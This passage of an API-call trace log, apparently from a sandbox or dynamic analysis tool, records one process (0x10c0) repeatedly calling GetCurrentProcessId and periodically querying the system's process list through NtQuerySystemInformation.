returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.934] GetCurrentProcessId () returned 0x10c0 [0272.935] GetCurrentProcessId () returned 0x10c0 [0272.935] GetCurrentProcessId () returned 0x10c0 [0272.935] GetCurrentProcessId () returned 0x10c0 [0272.935] GetCurrentProcessId () returned 0x10c0 [0272.935] GetCurrentProcessId () returned 0x10c0 [0272.935] GetCurrentProcessId () returned 0x10c0 [0272.935] GetCurrentProcessId () returned 0x10c0 [0272.935] GetCurrentProcessId () returned 0x10c0 [0272.935] GetCurrentProcessId () returned 0x10c0 [0272.935] GetCurrentProcessId () returned 0x10c0 [0272.936] GetCurrentProcessId () returned 0x10c0 [0272.936] GetCurrentProcessId () returned 0x10c0 [0272.936] GetCurrentProcessId () returned 0x10c0 [0272.936] GetCurrentProcessId () returned 0x10c0 [0272.936] GetCurrentProcessId () returned 0x10c0 [0272.936] GetCurrentProcessId () returned 0x10c0 [0272.936] GetCurrentProcessId () returned 0x10c0 [0272.936] GetCurrentProcessId () returned 0x10c0 [0272.936] GetCurrentProcessId () returned 0x10c0 [0272.936] GetCurrentProcessId () returned 0x10c0 [0272.936] GetCurrentProcessId () returned 0x10c0 [0272.936] GetCurrentProcessId () returned 0x10c0 [0272.936] GetCurrentProcessId () returned 0x10c0 [0272.936] GetCurrentProcessId () returned 0x10c0 [0272.937] GetCurrentProcessId () returned 0x10c0 [0272.937] GetCurrentProcessId () returned 0x10c0 [0272.937] GetCurrentProcessId () returned 0x10c0 [0272.937] GetCurrentProcessId () returned 0x10c0 [0272.937] GetCurrentProcessId () returned 0x10c0 [0272.937] GetCurrentProcessId () returned 0x10c0 [0272.937] GetCurrentProcessId () returned 0x10c0 [0272.937] GetCurrentProcessId () returned 0x10c0 [0272.937] GetCurrentProcessId () returned 0x10c0 [0272.937] GetCurrentProcessId () returned 0x10c0 [0272.937] GetCurrentProcessId () returned 0x10c0 [0272.937] GetCurrentProcessId () returned 0x10c0 [0272.937] GetCurrentProcessId () returned 0x10c0 [0272.937] GetCurrentProcessId () returned 0x10c0 [0272.937] GetCurrentProcessId () returned 0x10c0 [0272.938] GetCurrentProcessId () returned 0x10c0 [0272.938] GetCurrentProcessId () returned 0x10c0 [0272.938] GetCurrentProcessId () returned 0x10c0 [0272.938] GetCurrentProcessId () returned 0x10c0 [0272.938] GetCurrentProcessId () returned 0x10c0 [0272.938] GetCurrentProcessId () returned 0x10c0 [0272.938] GetCurrentProcessId () returned 0x10c0 [0272.938] GetCurrentProcessId () returned 0x10c0 [0272.938] GetCurrentProcessId () returned 0x10c0 [0272.938] GetCurrentProcessId () returned 0x10c0 [0272.938] GetCurrentProcessId () returned 0x10c0 [0272.938] GetCurrentProcessId () returned 0x10c0 [0272.939] GetCurrentProcessId () returned 0x10c0 [0272.939] GetCurrentProcessId () returned 0x10c0 [0273.597] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dbb0) returned 0x0 [0273.607] GetCurrentProcessId () returned 0x10c0 [0273.607] GetCurrentProcessId () returned 0x10c0 [0273.607] GetCurrentProcessId () returned 0x10c0 [0273.608] GetCurrentProcessId () returned 0x10c0 [0273.608] GetCurrentProcessId () returned 0x10c0 [0273.608] GetCurrentProcessId () returned 0x10c0 [0273.608] GetCurrentProcessId () returned 0x10c0 [0273.608] GetCurrentProcessId () returned 0x10c0 [0273.608] GetCurrentProcessId () returned 0x10c0 [0273.608] GetCurrentProcessId () returned 0x10c0 [0273.610] GetCurrentProcessId () returned 0x10c0 [0273.610] GetCurrentProcessId () returned 0x10c0 [0273.610] GetCurrentProcessId () returned 0x10c0 [0273.610] GetCurrentProcessId () returned 0x10c0 [0273.610] GetCurrentProcessId () returned 0x10c0 [0273.610] GetCurrentProcessId () returned 0x10c0 [0273.610] GetCurrentProcessId () returned 0x10c0 [0273.610] GetCurrentProcessId () returned 0x10c0 [0273.610] GetCurrentProcessId () returned 0x10c0 [0273.610] GetCurrentProcessId () returned 0x10c0 [0273.610] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.611] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.612] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.613] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.614] GetCurrentProcessId () returned 0x10c0 [0273.615] GetCurrentProcessId () returned 0x10c0 [0273.615] GetCurrentProcessId () returned 0x10c0 [0273.615] GetCurrentProcessId () returned 0x10c0 [0273.615] GetCurrentProcessId () returned 0x10c0 [0273.615] GetCurrentProcessId () returned 0x10c0 [0273.615] GetCurrentProcessId () returned 0x10c0 [0273.615] GetCurrentProcessId () returned 0x10c0 [0273.615] GetCurrentProcessId () returned 0x10c0 [0273.615] GetCurrentProcessId () returned 0x10c0 [0273.615] GetCurrentProcessId () returned 0x10c0 [0273.615] GetCurrentProcessId () returned 0x10c0 [0273.615] GetCurrentProcessId () returned 0x10c0 [0273.615] GetCurrentProcessId () returned 0x10c0 [0273.615] GetCurrentProcessId () returned 0x10c0 [0273.615] GetCurrentProcessId () returned 0x10c0 [0273.616] GetCurrentProcessId () returned 0x10c0 [0273.616] GetCurrentProcessId () returned 0x10c0 [0273.616] GetCurrentProcessId () returned 0x10c0 [0273.616] GetCurrentProcessId () returned 0x10c0 [0273.616] GetCurrentProcessId () returned 0x10c0 [0273.616] GetCurrentProcessId () returned 0x10c0 [0274.133] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dc00) returned 0x0 [0274.166] GetCurrentProcessId () returned 0x10c0 [0274.166] GetCurrentProcessId () returned 0x10c0 [0274.166] GetCurrentProcessId () returned 0x10c0 [0274.166] GetCurrentProcessId () returned 0x10c0 [0274.166] GetCurrentProcessId () returned 0x10c0 [0274.166] GetCurrentProcessId () returned 0x10c0 [0274.166] GetCurrentProcessId () returned 0x10c0 [0274.166] GetCurrentProcessId () returned 0x10c0 [0274.166] GetCurrentProcessId () returned 0x10c0 [0274.166] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.167] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.168] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.169] GetCurrentProcessId () returned 0x10c0 [0274.233] GetCurrentProcessId () returned 0x10c0 [0274.233] GetCurrentProcessId () returned 0x10c0 [0274.233] GetCurrentProcessId () returned 0x10c0 [0274.233] GetCurrentProcessId () returned 0x10c0 [0274.233] GetCurrentProcessId () returned 0x10c0 [0274.233] GetCurrentProcessId () returned 0x10c0 [0274.233] GetCurrentProcessId () returned 0x10c0 [0274.233] GetCurrentProcessId () returned 0x10c0 [0274.233] GetCurrentProcessId () returned 0x10c0 [0274.233] GetCurrentProcessId () returned 0x10c0 [0274.233] GetCurrentProcessId () returned 0x10c0 [0274.233] GetCurrentProcessId () returned 0x10c0 [0274.233] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.234] GetCurrentProcessId () returned 0x10c0 [0274.235] GetCurrentProcessId () returned 0x10c0 [0274.235] GetCurrentProcessId () returned 0x10c0 [0274.235] GetCurrentProcessId () returned 0x10c0 [0274.235] GetCurrentProcessId () returned 0x10c0 [0274.235] GetCurrentProcessId () returned 0x10c0 [0274.235] GetCurrentProcessId () returned 0x10c0 [0274.235] GetCurrentProcessId () returned 0x10c0 [0274.235] GetCurrentProcessId () returned 0x10c0 [0274.235] GetCurrentProcessId () returned 0x10c0 [0274.235] GetCurrentProcessId () returned 0x10c0 [0274.752] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dc00) returned 0x0 [0274.755] GetCurrentProcessId () returned 0x10c0 [0274.755] GetCurrentProcessId () returned 0x10c0 [0274.755] GetCurrentProcessId () returned 0x10c0 [0274.755] GetCurrentProcessId () returned 0x10c0 [0274.755] GetCurrentProcessId () returned 0x10c0 [0274.755] GetCurrentProcessId () returned 0x10c0 [0274.755] GetCurrentProcessId () returned 0x10c0 [0274.755] GetCurrentProcessId () returned 0x10c0 [0274.755] GetCurrentProcessId () returned 0x10c0 [0274.755] GetCurrentProcessId () returned 0x10c0 [0274.755] GetCurrentProcessId () returned 0x10c0 [0274.755] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.756] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.757] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.758] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.759] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0274.760] GetCurrentProcessId () returned 0x10c0 [0275.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dc00) returned 0x0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.329] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.330] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.331] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.332] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.333] GetCurrentProcessId () returned 0x10c0 [0275.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dc00) returned 0x0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.864] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] 